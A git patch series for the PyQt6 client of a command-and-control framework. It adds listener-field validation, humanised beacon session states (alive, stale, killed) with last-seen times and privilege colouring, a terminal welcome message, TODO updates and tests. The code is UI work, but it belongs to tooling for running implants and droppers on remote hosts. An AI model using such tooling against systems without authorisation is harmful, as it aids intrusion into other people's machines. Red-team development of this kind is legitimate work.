TeamServerApi_pb2.Listener( - type=message[0], - domain=message[1], - port=int(message[2])) + type=listenerType, + domain=param1, + port=int(param2)) else: listener = TeamServerApi_pb2.Listener( - type=message[0], - ip=message[1], - port=int(message[2])) + type=listenerType, + ip=param1, + port=int(param2)) ack = self.grpcClient.addListener(listener) self.setStatusMessage(ack, "Listener command accepted.", action="Add listener") @@ -373,38 +448,90 @@ def __init__(self): self.param2.setText("8443") layout.addRow(self.labelPort, self.param2) + self.errorLabel = QLabel("") + self.errorLabel.setMinimumHeight(18) + self.errorLabel.setWordWrap(True) + self.errorLabel.setVisible(False) + layout.addRow(self.errorLabel) + self.buttonOk = QPushButton('&OK', clicked=self.checkAndSend) layout.addRow(self.buttonOk) self.setLayout(layout) self.setWindowTitle(AddListenerWindowTitle) + self.param1.textChanged.connect(self.clearValidationError) + self.param2.textChanged.connect(self.clearValidationError) + self.changeLabels() def changeLabels(self): + self.clearValidationError() if self.qcombo.currentText() == HttpType: self.labelIP.setText(IpLabel) self.labelPort.setText(PortLabel) + self.param1.setPlaceholderText("0.0.0.0") + self.param2.setPlaceholderText("1-65535") + if not self.param1.text().strip(): + self.param1.setText("0.0.0.0") + if not self.param2.text().strip(): + self.param2.setText("8443") elif self.qcombo.currentText() == HttpsType: self.labelIP.setText(IpLabel) self.labelPort.setText(PortLabel) + self.param1.setPlaceholderText("0.0.0.0") + self.param2.setPlaceholderText("1-65535") + if not self.param1.text().strip(): + self.param1.setText("0.0.0.0") + if not self.param2.text().strip(): + self.param2.setText("8443") elif self.qcombo.currentText() == TcpType: self.labelIP.setText(IpLabel) self.labelPort.setText(PortLabel) + self.param1.setPlaceholderText("0.0.0.0") + self.param2.setPlaceholderText("1-65535") + if not self.param1.text().strip(): + self.param1.setText("0.0.0.0") + if not self.param2.text().strip(): + self.param2.setText("8443") elif self.qcombo.currentText() == GithubType: self.labelIP.setText(ProjectLabel) self.labelPort.setText(TokenLabel) + self.param1.setPlaceholderText("project or owner/repo") + self.param2.setPlaceholderText("GitHub token") + if self.param1.text().strip() == "0.0.0.0": + self.param1.clear() + if self.param2.text().strip() == "8443": + self.param2.clear() elif self.qcombo.currentText() == DnsType: self.labelIP.setText(DomainLabel) self.labelPort.setText(PortLabel) + self.param1.setPlaceholderText("example.com") + self.param2.setPlaceholderText("1-65535") + if self.param1.text().strip() == "0.0.0.0": + self.param1.clear() + if not self.param2.text().strip(): + self.param2.setText("8443") + + def clearValidationError(self): + clear_status(self.errorLabel, "") + self.errorLabel.setVisible(False) + + def showValidationError(self, message): + apply_error(self.errorLabel, message) + self.errorLabel.setVisible(True) def checkAndSend(self): - type = self.type.currentText() - param1 = self.param1.text() - param2 = self.param2.text() + type = self.type.currentText().strip() + param1 = self.param1.text().strip() + param2 = self.param2.text().strip() - result = [type, param1, param2] + valid, error = validate_listener_fields(type, param1, param2) + if not valid: + self.showValidationError(error) + return + result = [type, param1, param2] self.procDone.emit(result) self.close() diff --git a/C2Client/C2Client/TerminalPanel.py b/C2Client/C2Client/TerminalPanel.py index e847ae0..c07905f 100644 --- a/C2Client/C2Client/TerminalPanel.py +++ b/C2Client/C2Client/TerminalPanel.py @@ -439,6 +439,10 @@ def extractDropperTargetArch(arguments, defaultArch=DefaultWindowsArch): ErrorCmdUnknow = "Error: Command Unknown" ErrorFileNotFound = "Error: File doesn't exist." ErrorListener = "Error: Download listener must be of type http or https." +TerminalWelcomeMessage = ( + "Local TeamServer terminal. Type Help to list available commands, " + "or Help for command-specific details." +) # @@ -470,6 +474,7 @@ def __init__(self, parent, grpcClient): self.commandEditor = CommandEditor() self.layout.addWidget(self.commandEditor, 2) self.commandEditor.returnPressed.connect(self.runCommand) + self.printInTerminal("Terminal", TerminalWelcomeMessage) def nextCompletion(self): diff --git a/C2Client/TODO.md b/C2Client/TODO.md index 9c23a92..687984e 100644 --- a/C2Client/TODO.md +++ b/C2Client/TODO.md @@ -18,7 +18,7 @@ Objectif: rendre le client plus agreable pour un operateur, puis enrichir propre | 10 | Humaniser l'etat des sessions | M | Fort | Badges `alive`, `stale`, `killed`, last seen relatif, couleur discrete par privilege/OS, detection session inactive. | | 11 | Ameliorer la console beacon | M | Fort | Recherche output, clear, export log, pause autoscroll, bouton resend, affichage `queued/done/error` par `command_id`. | | 12 | Transformer `ScriptPanel` en vrai panneau d'automations | M | Moyen | Lister hooks charges, afficher erreurs par script, activer/desactiver un script, executer une action script manuelle. | -| 13 | Ameliorer le formulaire listener | M | Moyen | Validation port/IP/domain/token avant RPC, defaults par type, erreurs inline, previsualisation de la config envoyee. | +| 13 | Ameliorer le formulaire listener | M | Moyen | Partiel. Validation port/IP/domain/token avant RPC, defaults par type et erreurs inline; previsualisation de la config encore a faire. | | 14 | Ajouter un panneau details session | M | Fort | Vue laterale avec metadata, listeners associes, notes locales, dernieres commandes, boutons d'action contextuels. | | 15 | Ameliorer le graph | M | Moyen | Zoom, fit-to-view, layout persistant, clic node pour ouvrir details/console, couleurs par listener/status. | | 16 | Generer des formulaires de commandes depuis les schemas assistant | L | Fort | Utiliser `assistant_agent/tools/schemas/*.json` pour proposer des commandes guidees sans tout taper a la main. | diff --git a/C2Client/tests/test_listener_panel.py b/C2Client/tests/test_listener_panel.py index 757e579..68777f0 100644 --- a/C2Client/tests/test_listener_panel.py +++ b/C2Client/tests/test_listener_panel.py @@ -1,6 +1,14 @@ from PyQt6.QtWidgets import QApplication, QHeaderView, QWidget -from C2Client.ListenerPanel import Listener, Listeners +from C2Client.ListenerPanel import ( + CreateListner, + DnsType, + GithubType, + HttpsType, + Listener, + Listeners, + validate_listener_fields, +) from C2Client.grpcClient import TeamServerApi_pb2 @@ -8,12 +16,14 @@ class StubGrpc: def __init__(self): self.add_ack = None self.stop_ack = None + self.added_listeners = [] self.stopped_listeners = [] def listListeners(self): return [] def addListener(self, listener): + self.added_listeners.append(listener) return self.add_ack or type("Ack", (), {"status": TeamServerApi_pb2.OK, "message": "Listener created."})() def stopListener(self, listener): @@ -37,6 +47,69 @@ def test_add_listener_ack_message_is_displayed(qtbot, monkeypatch): assert "#b00020" in listeners.statusLabel.styleSheet() +def test_listener_validation_rejects_bad_network_fields(): + assert validate_listener_fields(HttpsType, "127.0.0.1", "8443") == (True, "") + assert validate_listener_fields(HttpsType, "999.1.1.1", "8443") == ( + False, + "IP must be a valid IPv4 or IPv6 address.", + ) + assert validate_listener_fields(HttpsType, "127.0.0.1", "70000") == ( + False, + "Port must be a number between 1 and 65535.", + ) + assert validate_listener_fields(DnsType, "https://example.com", "53") == ( + False, + "Domain must be a valid DNS name.", + ) + assert validate_listener_fields(GithubType, "owner/repo", "token") == (True, "") + + +def test_add_listener_invalid_fields_are_not_sent(qtbot, monkeypatch): + monkeypatch.setattr("C2Client.ListenerPanel.QThread.start", lambda self: None) + + grpc = StubGrpc() + parent = QWidget() + listeners = Listeners(parent, grpc) + listeners.listListenerObject = [] + qtbot.addWidget(listeners) + + listeners.addListener(["https", "999.1.1.1", "8443"]) + + assert grpc.added_listeners == [] + assert listeners.statusLabel.text() == "Add listener: IP must be a valid IPv4 or IPv6 address." + assert "#b00020" in listeners.statusLabel.styleSheet() + + +def test_add_listener_form_blocks_invalid_port(qtbot): + form = CreateListner() + qtbot.addWidget(form) + emitted = [] + form.procDone.connect(lambda values: emitted.append(values)) + + form.qcombo.setCurrentText(HttpsType) + form.param1.setText("127.0.0.1") + form.param2.setText("70000") + form.checkAndSend() + + assert emitted == [] + assert form.errorLabel.isHidden() is False + assert form.errorLabel.text() == "Port must be a number between 1 and 65535." + + +def test_add_listener_form_emits_trimmed_valid_values(qtbot): + form = CreateListner() + qtbot.addWidget(form) + emitted = [] + form.procDone.connect(lambda values: emitted.append(values)) + + form.qcombo.setCurrentText(HttpsType) + form.param1.setText(" 127.0.0.1 ") + form.param2.setText(" 8443 ") + form.checkAndSend() + + assert emitted == [[HttpsType, "127.0.0.1", "8443"]] + + def test_listener_toolbar_actions_use_selected_listener(qtbot, monkeypatch): monkeypatch.setattr("C2Client.ListenerPanel.QThread.start", lambda self: None) diff --git a/C2Client/tests/test_terminal_panel_dropper_arch.py b/C2Client/tests/test_terminal_panel_dropper_arch.py index 893adba..b310af6 100644 --- a/C2Client/tests/test_terminal_panel_dropper_arch.py +++ b/C2Client/tests/test_terminal_panel_dropper_arch.py @@ -112,6 +112,16 @@ def test_terminal_command_error_message_uses_status_message(qtbot): assert "raw failure" not in terminal.editorOutput.toPlainText() +def test_terminal_shows_welcome_message(qtbot): + parent = QWidget() + terminal = terminal_panel.Terminal(parent, FakeGrpc()) + qtbot.addWidget(terminal) + + output = terminal.editorOutput.toPlainText() + assert "Local TeamServer terminal." in output + assert "Type Help to list available commands" in output + + def test_create_donut_shellcode_reports_subprocess_crash(tmp_path, monkeypatch): monkeypatch.chdir(tmp_path) From 2c9b657a1de9403716879c24de38b674bd183ffb Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Mon, 4 May 2026 17:14:43 +0200 Subject: [PATCH 09/82] Humanize C2Client session state --- C2Client/.env.example | 1 + C2Client/C2Client/SessionPanel.py | 179 +++++++++++++++++++++++++-- C2Client/TODO.md | 55 ++++---- C2Client/tests/test_session_panel.py | 109 +++++++++++++++- 4 files changed, 309 insertions(+), 35 deletions(-) diff --git a/C2Client/.env.example b/C2Client/.env.example index 844910c..0c6aa1a 100644 --- a/C2Client/.env.example +++ b/C2Client/.env.example @@ -16,6 +16,7 @@ C2_PROTOCOL_PYTHON_ROOT= # Client UI C2_UI_THEME=dark C2_SESSION_REFRESH_MS=2000 +C2_SESSION_STALE_AFTER_MS=30000 C2_LISTENER_REFRESH_MS=2000 C2_GRAPH_REFRESH_MS=2000 C2_LOG_DIR= diff --git a/C2Client/C2Client/SessionPanel.py b/C2Client/C2Client/SessionPanel.py index f0e6da4..488d1a9 100644 --- a/C2Client/C2Client/SessionPanel.py +++ b/C2Client/C2Client/SessionPanel.py @@ -1,7 +1,9 @@ import time import logging +from datetime import datetime, timedelta from PyQt6.QtCore import Qt, QThread, pyqtSignal, QObject +from PyQt6.QtGui import QColor from PyQt6.QtWidgets import ( QApplication, QGridLayout, @@ -25,6 +27,148 @@ logger = logging.getLogger(__name__) +SESSION_STATE_ALIVE = "Alive" +SESSION_STATE_STALE = "Stale" +SESSION_STATE_KILLED = "Killed" +SESSION_STATE_UNKNOWN = "Unknown" +SESSION_STATE_COLORS = { + SESSION_STATE_ALIVE: "#0a7f2e", + SESSION_STATE_STALE: "#a05a00", + SESSION_STATE_KILLED: "#b00020", + SESSION_STATE_UNKNOWN: "#6b7280", +} +HIGH_PRIVILEGE_COLOR = "#a05a00" +DEFAULT_SESSION_STALE_AFTER_MS = 30000 +DISPLAY_NOW_UNDER_MS = 2000 +HIGH_PRIVILEGE_VALUES = {"high", "root", "administrator", "admin", "system"} + + +def _to_text(value): + return str(value or "").strip() + + +def _is_truthy(value): + if isinstance(value, bool): + return value + return _to_text(value).lower() in {"1", "true", "yes", "y", "killed"} + + +def parse_last_seen(value): + text = _to_text(value) + if not text or text == "-1": + return None + + try: + ageSeconds = float(text) + except ValueError: + ageSeconds = None + if ageSeconds is not None: + if ageSeconds < 0: + return None + return datetime.now() - timedelta(seconds=ageSeconds) + + normalized = text.replace("Z", "+00:00") + candidates = [normalized] + if "." in normalized: + candidates.append(normalized.split(".", 1)[0]) + + for candidate in candidates: + try: + parsed = datetime.fromisoformat(candidate) + except ValueError: + continue + if parsed.tzinfo is not None: + parsed = parsed.astimezone().replace(tzinfo=None) + return parsed + return None + + +def _numeric_age_ms(value): + text = _to_text(value) + try: + ageSeconds = float(text) + except ValueError: + return None + if ageSeconds < 0: + return None + return max(0, int(ageSeconds * 1000)) + + +def last_seen_age_ms(value, now=None): + numericAgeMs = _numeric_age_ms(value) + if numericAgeMs is not None: + return numericAgeMs, True + + lastSeen = parse_last_seen(value) + if lastSeen is None: + return None, False + + now = now or datetime.now() + return max(0, int((now - lastSeen).total_seconds() * 1000)), False + + +def format_relative_age(ageSeconds): + if ageSeconds < 1: + return "now" + if ageSeconds < 60: + return f"{ageSeconds}s ago" + if ageSeconds < 3600: + return f"{ageSeconds // 60}m ago" + if ageSeconds < 86400: + return f"{ageSeconds // 3600}h ago" + return f"{ageSeconds // 86400}d ago" + + +def format_relative_age_ms(ageMs, *, precise_subsecond=False): + if ageMs < DISPLAY_NOW_UNDER_MS: + return "now" + return format_relative_age(ageMs // 1000) + + +def humanize_last_seen(value, now=None): + text = _to_text(value) + ageMs, preciseSubsecond = last_seen_age_ms(text, now=now) + if ageMs is None: + return "unknown", "Last proof of life unavailable.", None + + label = format_relative_age_ms(ageMs, precise_subsecond=preciseSubsecond) + return label, f"Last proof of life: {text}", parse_last_seen(text) + + +def resolve_session_state(killed, lastProofOfLife, staleAfterMs=DEFAULT_SESSION_STALE_AFTER_MS, now=None): + if _is_truthy(killed): + return SESSION_STATE_KILLED, "Killed flag set by TeamServer." + + ageMs, preciseSubsecond = last_seen_age_ms(lastProofOfLife, now=now) + if ageMs is None: + return SESSION_STATE_UNKNOWN, "No valid last proof of life." + + label = format_relative_age_ms(ageMs, precise_subsecond=preciseSubsecond) + aliveCutoffMs = max(staleAfterMs, DISPLAY_NOW_UNDER_MS - 1) + if ageMs <= aliveCutoffMs: + return SESSION_STATE_ALIVE, f"Last seen {label}. Stale after {staleAfterMs} ms." + return SESSION_STATE_STALE, f"Last seen {label}. Stale after {staleAfterMs} ms." + + +def normalize_os_label(osDescription): + text = _to_text(osDescription) + lowered = text.lower() + if not text: + return "Unknown" + if "windows" in lowered: + return "Windows" + if "linux" in lowered: + return "Linux" + if "darwin" in lowered or "macos" in lowered or "mac os" in lowered: + return "macOS" + return text.split()[0] + + +def color_table_item(item, color): + item.setForeground(QColor(color)) + return item + + # # Session # @@ -53,7 +197,7 @@ class Sessions(QWidget): idSession = 0 listSessionObject = [] - COLUMN_WIDTHS = [76, 76, 140, 116, 62, 84, 98, 64, 156, 132, 58] + COLUMN_WIDTHS = [76, 76, 140, 116, 62, 84, 92, 64, 156, 92, 78] STRETCH_COLUMN = 8 @@ -63,6 +207,11 @@ def __init__(self, parent, grpcClient): self.grpcClient = grpcClient self.idSession = 0 self.listSessionObject = [] + self.sessionStaleAfterMs = env_int( + "C2_SESSION_STALE_AFTER_MS", + DEFAULT_SESSION_STALE_AFTER_MS, + minimum=1, + ) widget = QWidget(self) self.layout = QGridLayout(widget) @@ -320,15 +469,17 @@ def listSessions(self): # don't clear the list each time but just when it's necessary def printSessions(self): self.listSession.setRowCount(len(self.listSessionObject)) - self.listSession.setHorizontalHeaderLabels(["Beacon", "Listener", "Host", "User", "Arch", "Priv", "OS", "PID", "Internal IP", "Last Seen", "Killed"]) + self.listSession.setHorizontalHeaderLabels(["Beacon", "Listener", "Host", "User", "Arch", "Priv", "OS", "PID", "Internal IP", "Last Seen", "State"]) archHeader = self.listSession.horizontalHeaderItem(4) if archHeader is not None: archHeader.setToolTip("Architecture du process beacon") for index, tooltip in { 0: "Beacon hash", 1: "Listener hash", + 6: "Operating system family; full description is available in each cell tooltip", 8: "Internal IP addresses", - 9: "Last proof of life", + 9: "Relative last proof of life", + 10: "Session state computed from killed flag and last proof of life", }.items(): headerItem = self.listSession.horizontalHeaderItem(index) if headerItem is not None: @@ -351,9 +502,14 @@ def printSessions(self): self.listSession.setItem(ix, 4, arch) privilege = QTableWidgetItem(sessionStore.privilege) + if _to_text(sessionStore.privilege).lower() in HIGH_PRIVILEGE_VALUES: + color_table_item(privilege, HIGH_PRIVILEGE_COLOR) + privilege.setToolTip("High privilege beacon process.") self.listSession.setItem(ix, 5, privilege) - os = QTableWidgetItem(sessionStore.os) + osLabel = normalize_os_label(sessionStore.os) + os = QTableWidgetItem(osLabel) + os.setToolTip(_to_text(sessionStore.os) or "Unknown OS") self.listSession.setItem(ix, 6, os) processId = QTableWidgetItem(sessionStore.processId) @@ -363,11 +519,20 @@ def printSessions(self): internalIps.setToolTip(sessionStore.internalIps) self.listSession.setItem(ix, 8, internalIps) - pol = QTableWidgetItem(sessionStore.lastProofOfLife.split(".", 1)[0]) + lastSeenLabel, lastSeenTooltip, _ = humanize_last_seen(sessionStore.lastProofOfLife) + pol = QTableWidgetItem(lastSeenLabel) + pol.setToolTip(lastSeenTooltip) self.listSession.setItem(ix, 9, pol) - killed = QTableWidgetItem(str(sessionStore.killed)) - self.listSession.setItem(ix, 10, killed) + state, stateTooltip = resolve_session_state( + sessionStore.killed, + sessionStore.lastProofOfLife, + staleAfterMs=self.sessionStaleAfterMs, + ) + stateItem = color_table_item(QTableWidgetItem(state), SESSION_STATE_COLORS[state]) + stateItem.setToolTip(stateTooltip) + stateItem.setTextAlignment(Qt.AlignmentFlag.AlignCenter) + self.listSession.setItem(ix, 10, stateItem) self.updateActionButtons() diff --git a/C2Client/TODO.md b/C2Client/TODO.md index 687984e..c9c785f 100644 --- a/C2Client/TODO.md +++ b/C2Client/TODO.md @@ -4,33 +4,33 @@ Objectif: rendre le client plus agreable pour un operateur, puis enrichir propre ## Todo List -| Ordre | Chantier | Cout | Impact | Notes | -| --- | --- | --- | --- | --- | -| 1 | Ajouter une barre de statut client | XS | Fort | Fait. Affiche connexion, host, port, utilisateur, mode dev, certificat charge, dernier refresh RPC et derniere erreur gRPC. Client-only. | -| 2 | Centraliser toutes les configs client dans `.env` | XS | Fort | Fait. Helpers types dans `env.py`, resolution des chemins, branchement certificat, protocol root, logs, refresh intervals, gRPC, UI et assistant. | -| 3 | Completer `C2Client/.env.example` | XS | Moyen | Fait. Exemple enrichi avec connexion, auth, certificat, protocol root, UI, gRPC, assistant et modules locaux. | -| 4 | Utiliser `.env` comme defaults CLI | S | Fort | Fait. `C2_IP`, `C2_PORT` et `C2_DEV_MODE` alimentent les defaults CLI, avec arguments CLI prioritaires. | -| 5 | Rendre les actions principales visibles | S | Fort | Fait. Boutons `Add Listener`, `Interact`, `Stop`, `Copy ID`, `Refresh`; le clic droit reste disponible comme raccourci. | -| 6 | Ajouter copie rapide des IDs et infos session | S | Moyen | Copie beacon hash, listener hash, host, user, internal IP depuis tables et graph. | -| 7 | Ameliorer les messages d'erreur et d'etat | S | Fort | Fait. Helper UI commun pour success/error/info, prefixe action, compactage des messages longs, barre RPC et statuts panels harmonises. | -| 8 | Nettoyer le bruit console/debug | S | Moyen | Fait. Logging par defaut en WARNING, `print()` UI remplaces, erreurs de scripts visibles dans l'onglet Script sans casser l'UI. | -| 9 | Ajouter filtres, recherche et tri tables | M | Fort | Filtrer sessions/listeners par host, user, OS, privilege, listener, status; tri par last seen et privilege. Client-only au depart. | -| 10 | Humaniser l'etat des sessions | M | Fort | Badges `alive`, `stale`, `killed`, last seen relatif, couleur discrete par privilege/OS, detection session inactive. | -| 11 | Ameliorer la console beacon | M | Fort | Recherche output, clear, export log, pause autoscroll, bouton resend, affichage `queued/done/error` par `command_id`. | -| 12 | Transformer `ScriptPanel` en vrai panneau d'automations | M | Moyen | Lister hooks charges, afficher erreurs par script, activer/desactiver un script, executer une action script manuelle. | -| 13 | Ameliorer le formulaire listener | M | Moyen | Partiel. Validation port/IP/domain/token avant RPC, defaults par type et erreurs inline; previsualisation de la config encore a faire. | -| 14 | Ajouter un panneau details session | M | Fort | Vue laterale avec metadata, listeners associes, notes locales, dernieres commandes, boutons d'action contextuels. | -| 15 | Ameliorer le graph | M | Moyen | Zoom, fit-to-view, layout persistant, clic node pour ouvrir details/console, couleurs par listener/status. | -| 16 | Generer des formulaires de commandes depuis les schemas assistant | L | Fort | Utiliser `assistant_agent/tools/schemas/*.json` pour proposer des commandes guidees sans tout taper a la main. | -| 17 | Ajouter `GetServerInfo` / `GetCapabilities` au proto | L | Fort | Version serveur, modules charges, features, chemins runtime, limites max message, auth mode. Premier vrai changement client-server. | -| 18 | Ajouter `ListCommands` / `ListModules` structure | L | Tres fort | Remplacer l'autocompletion hardcodee par une source serveur: nom, OS, aide, arguments, exemples, module charge ou non. | -| 19 | Ajouter `ValidateCommand` / `DryRunCommand` | L | Tres fort | Verifier une commande sans l'envoyer au beacon; retourner erreur, hint, instruction preparee, fichiers requis. | -| 20 | Ajouter un modele d'erreurs type dans le proto | L | Fort | `code`, `message`, `hint`, `details`; eviter de parser du texte libre cote client. | -| 21 | Ajouter historique/audit operateur cote serveur | XL | Tres fort | Qui a envoye quoi, quand, sur quelle session, command_id, resultat, statut. Base pour recherche, replay, reporting. | -| 22 | Ajouter `GetCommandStatus` / `ListCommandHistory` / `CancelCommand` | XL | Tres fort | Suivi propre des commandes queued/running/done/error/cancelled; utile pour console, assistant et workflows longs. | -| 23 | Ajouter tags/notes/assignation sessions cote serveur | XL | Fort | Tags persistants, notes operationnelles, owner operateur, priorite, commentaires. | -| 24 | Ajouter `StreamEvents` global | XL | Tres fort | Flux unique pour sessions, listeners, commandes, logs et erreurs; remplacer le polling toutes les 2 secondes. | -| 25 | Ajouter upload/download chunked avec progression | XL | Fort | Progression, checksum, reprise partielle, erreurs propres, limites configurables. | +| Ordre | Fait | Chantier | Cout | Impact | Notes | +| --- | --- | --- | --- | --- | --- | +| 1 | [x] | Ajouter une barre de statut client | XS | Fort | Fait. Affiche connexion, host, port, utilisateur, mode dev, certificat charge, dernier refresh RPC et derniere erreur gRPC. Client-only. | +| 2 | [x] | Centraliser toutes les configs client dans `.env` | XS | Fort | Fait. Helpers types dans `env.py`, resolution des chemins, branchement certificat, protocol root, logs, refresh intervals, gRPC, UI et assistant. | +| 3 | [x] | Completer `C2Client/.env.example` | XS | Moyen | Fait. Exemple enrichi avec connexion, auth, certificat, protocol root, UI, gRPC, assistant et modules locaux. | +| 4 | [x] | Utiliser `.env` comme defaults CLI | S | Fort | Fait. `C2_IP`, `C2_PORT` et `C2_DEV_MODE` alimentent les defaults CLI, avec arguments CLI prioritaires. | +| 5 | [x] | Rendre les actions principales visibles | S | Fort | Fait. Boutons `Add Listener`, `Interact`, `Stop`, `Copy ID`, `Refresh`; le clic droit reste disponible comme raccourci. | +| 6 | [x] | Ajouter copie rapide des IDs et infos session | S | Moyen | Copie beacon hash, listener hash, host, user, internal IP depuis tables et graph. | +| 7 | [x] | Ameliorer les messages d'erreur et d'etat | S | Fort | Fait. Helper UI commun pour success/error/info, prefixe action, compactage des messages longs, barre RPC et statuts panels harmonises. | +| 8 | [x] | Nettoyer le bruit console/debug | S | Moyen | Fait. Logging par defaut en WARNING, `print()` UI remplaces, erreurs de scripts visibles dans l'onglet Script sans casser l'UI. | +| 9 | [ ] | Ajouter filtres, recherche et tri tables | M | Fort | Filtrer sessions/listeners par host, user, OS, privilege, listener, status; tri par last seen et privilege. Client-only au depart. | +| 10 | [x] | Humaniser l'etat des sessions | M | Fort | Fait. Etat `Alive/Stale/Killed/Unknown`, last seen relatif, seuil `C2_SESSION_STALE_AFTER_MS=30000`, couleurs discretes et OS complet en tooltip. | +| 11 | [ ] | Ameliorer la console beacon | M | Fort | Recherche output, clear, export log, pause autoscroll, bouton resend, affichage `queued/done/error` par `command_id`. | +| 12 | [ ] | Transformer `ScriptPanel` en vrai panneau d'automations | M | Moyen | Lister hooks charges, afficher erreurs par script, activer/desactiver un script, executer une action script manuelle. | +| 13 | [ ] | Ameliorer le formulaire listener | M | Moyen | Partiel. Validation port/IP/domain/token avant RPC, defaults par type et erreurs inline; previsualisation de la config encore a faire. | +| 14 | [ ] | Ajouter un panneau details session | M | Fort | Vue laterale avec metadata, listeners associes, notes locales, dernieres commandes, boutons d'action contextuels. | +| 15 | [ ] | Ameliorer le graph | M | Moyen | Zoom, fit-to-view, layout persistant, clic node pour ouvrir details/console, couleurs par listener/status. | +| 16 | [ ] | Generer des formulaires de commandes depuis les schemas assistant | L | Fort | Utiliser `assistant_agent/tools/schemas/*.json` pour proposer des commandes guidees sans tout taper a la main. | +| 17 | [ ] | Ajouter `GetServerInfo` / `GetCapabilities` au proto | L | Fort | Version serveur, modules charges, features, chemins runtime, limites max message, auth mode. Premier vrai changement client-server. | +| 18 | [ ] | Ajouter `ListCommands` / `ListModules` structure | L | Tres fort | Remplacer l'autocompletion hardcodee par une source serveur: nom, OS, aide, arguments, exemples, module charge ou non. | +| 19 | [ ] | Ajouter `ValidateCommand` / `DryRunCommand` | L | Tres fort | Verifier une commande sans l'envoyer au beacon; retourner erreur, hint, instruction preparee, fichiers requis. | +| 20 | [ ] | Ajouter un modele d'erreurs type dans le proto | L | Fort | `code`, `message`, `hint`, `details`; eviter de parser du texte libre cote client. | +| 21 | [ ] | Ajouter historique/audit operateur cote serveur | XL | Tres fort | Qui a envoye quoi, quand, sur quelle session, command_id, resultat, statut. Base pour recherche, replay, reporting. | +| 22 | [ ] | Ajouter `GetCommandStatus` / `ListCommandHistory` / `CancelCommand` | XL | Tres fort | Suivi propre des commandes queued/running/done/error/cancelled; utile pour console, assistant et workflows longs. | +| 23 | [ ] | Ajouter tags/notes/assignation sessions cote serveur | XL | Fort | Tags persistants, notes operationnelles, owner operateur, priorite, commentaires. | +| 24 | [ ] | Ajouter `StreamEvents` global | XL | Tres fort | Flux unique pour sessions, listeners, commandes, logs et erreurs; remplacer le polling toutes les 2 secondes. | +| 25 | [ ] | Ajouter upload/download chunked avec progression | XL | Fort | Progression, checksum, reprise partielle, erreurs propres, limites configurables. | ## Details `.env` @@ -59,6 +59,7 @@ C2_PROTOCOL_PYTHON_ROOT= # Client UI C2_UI_THEME=dark C2_SESSION_REFRESH_MS=2000 +C2_SESSION_STALE_AFTER_MS=30000 C2_LISTENER_REFRESH_MS=2000 C2_GRAPH_REFRESH_MS=2000 C2_LOG_DIR= diff --git a/C2Client/tests/test_session_panel.py b/C2Client/tests/test_session_panel.py index e9a25aa..10f1622 100644 --- a/C2Client/tests/test_session_panel.py +++ b/C2Client/tests/test_session_panel.py @@ -1,6 +1,21 @@ +from datetime import datetime + from PyQt6.QtWidgets import QApplication, QHeaderView, QWidget -from C2Client.SessionPanel import Session, Sessions +import C2Client.SessionPanel as session_panel +from C2Client.SessionPanel import ( + SESSION_STATE_ALIVE, + SESSION_STATE_KILLED, + SESSION_STATE_STALE, + SESSION_STATE_UNKNOWN, + Session, + Sessions, + humanize_last_seen, + last_seen_age_ms, + normalize_os_label, + parse_last_seen, + resolve_session_state, +) from C2Client.grpcClient import TeamServerApi_pb2 @@ -32,6 +47,62 @@ def test_sessions_table_labels_arch_as_beacon_process(qtbot, monkeypatch): assert arch_header.toolTip() == "Architecture du process beacon" +def test_session_state_helpers_humanize_lifecycle(): + now = datetime(2026, 5, 4, 12, 0, 0, 100000) + + assert resolve_session_state(False, "2026-05-04T12:00:00.090000", staleAfterMs=30, now=now)[0] == SESSION_STATE_ALIVE + assert resolve_session_state(False, "2026-05-04T11:59:58", staleAfterMs=30, now=now)[0] == SESSION_STATE_STALE + assert resolve_session_state(True, "2026-05-04T12:00:00.090000", staleAfterMs=30, now=now)[0] == SESSION_STATE_KILLED + assert resolve_session_state(False, "-1", staleAfterMs=30, now=now)[0] == SESSION_STATE_UNKNOWN + + label, tooltip, _ = humanize_last_seen("2026-05-04T11:58:00", now=now) + assert label == "2m ago" + assert tooltip == "Last proof of life: 2026-05-04T11:58:00" + assert normalize_os_label("Microsoft Windows 11 Pro 10.0.22631") == "Windows" + assert normalize_os_label("Linux version 6.8.0") == "Linux" + + +def test_last_seen_parser_accepts_teamserver_age_seconds(monkeypatch): + class FixedDateTime(datetime): + @classmethod + def now(cls): + return cls(2026, 5, 4, 12, 30, 0, 500000) + + monkeypatch.setattr(session_panel, "datetime", FixedDateTime) + + parsed = parse_last_seen("2.5") + + assert parsed == datetime(2026, 5, 4, 12, 29, 58) + + +def test_teamserver_age_seconds_drive_last_seen_and_state(monkeypatch): + class FixedDateTime(datetime): + @classmethod + def now(cls): + return cls(2026, 5, 4, 12, 30, 0) + + monkeypatch.setattr(session_panel, "datetime", FixedDateTime) + + label, tooltip, _ = humanize_last_seen("0.010000") + state, stateTooltip = resolve_session_state(False, "0.010000", staleAfterMs=30) + almostNowLabel, _, _ = humanize_last_seen("1.999000") + almostNowState, almostNowTooltip = resolve_session_state(False, "1.999000", staleAfterMs=30) + staleLabel, _, _ = humanize_last_seen("2.000000") + staleState, staleTooltip = resolve_session_state(False, "2.000000", staleAfterMs=30) + + assert last_seen_age_ms("0.010000") == (10, True) + assert label == "now" + assert tooltip == "Last proof of life: 0.010000" + assert state == SESSION_STATE_ALIVE + assert stateTooltip == "Last seen now. Stale after 30 ms." + assert almostNowLabel == "now" + assert almostNowState == SESSION_STATE_ALIVE + assert almostNowTooltip == "Last seen now. Stale after 30 ms." + assert staleLabel == "2s ago" + assert staleState == SESSION_STATE_STALE + assert staleTooltip == "Last seen 2s ago. Stale after 30 ms." + + def test_stop_session_ack_message_is_displayed(qtbot, monkeypatch): monkeypatch.setattr("C2Client.SessionPanel.QThread.start", lambda self: None) @@ -133,3 +204,39 @@ def test_session_table_keeps_user_column_width_after_refresh(qtbot, monkeypatch) assert sessions.listSession.columnWidth(2) == 224 assert sessions.listSession.item(0, 8).text() == "10.0.0.5, 192.168.56.20" assert sessions.listSession.item(0, 8).toolTip() == "10.0.0.5, 192.168.56.20" + + +def test_session_table_humanizes_state_last_seen_and_os(qtbot, monkeypatch): + monkeypatch.setattr("C2Client.SessionPanel.QThread.start", lambda self: None) + + full_os = "Microsoft Windows 11 Pro 10.0.22631" + parent = QWidget() + sessions = Sessions(parent, StubGrpc()) + sessions.sessionStaleAfterMs = 1_000_000 + sessions.listSessionObject = [ + Session( + 0, + "listener-full-hash", + "beacon-full-hash", + "host1", + "user1", + "x64", + "HIGH", + full_os, + datetime.now().isoformat(), + False, + "10.0.0.5", + "1234", + "", + ) + ] + 